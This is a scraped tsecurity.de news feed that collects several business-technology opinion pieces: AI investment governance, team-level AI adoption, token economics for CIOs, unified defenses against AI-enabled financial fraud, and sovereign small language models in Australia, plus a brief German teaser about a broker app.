<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
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<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
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<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[S-Neo: Sparkassen fordern Trade Republic und Scalable heraus – haben aber einen Nachteil]]></title>
<description><![CDATA[Auch die Sparkassen wollen im wachsenden Markt der Broker-Apps mitmischen. Mit „S-Neo“ treten sie gegen Trade Republic und Scalable Capital an, um  junge Anleger zu gewinnen.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3683505/it-nachrichten/s-neo-sparkassen-fordern-trade-republic-und-scalable-heraus-haben-aber-einen-nachteil/</link>
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<pubDate>Tue, 21 Jul 2026 13:17:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Auch die Sparkassen wollen im wachsenden Markt der Broker-Apps mitmischen. Mit „S-Neo“ treten sie gegen Trade Republic und Scalable Capital an, um  junge Anleger zu gewinnen.
<a href="https://t3n.de/news/s-neo-sparkassen-fordern-trade-republic-und-scalable-heraus-haben-aber-einen-nachteil-1753733/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



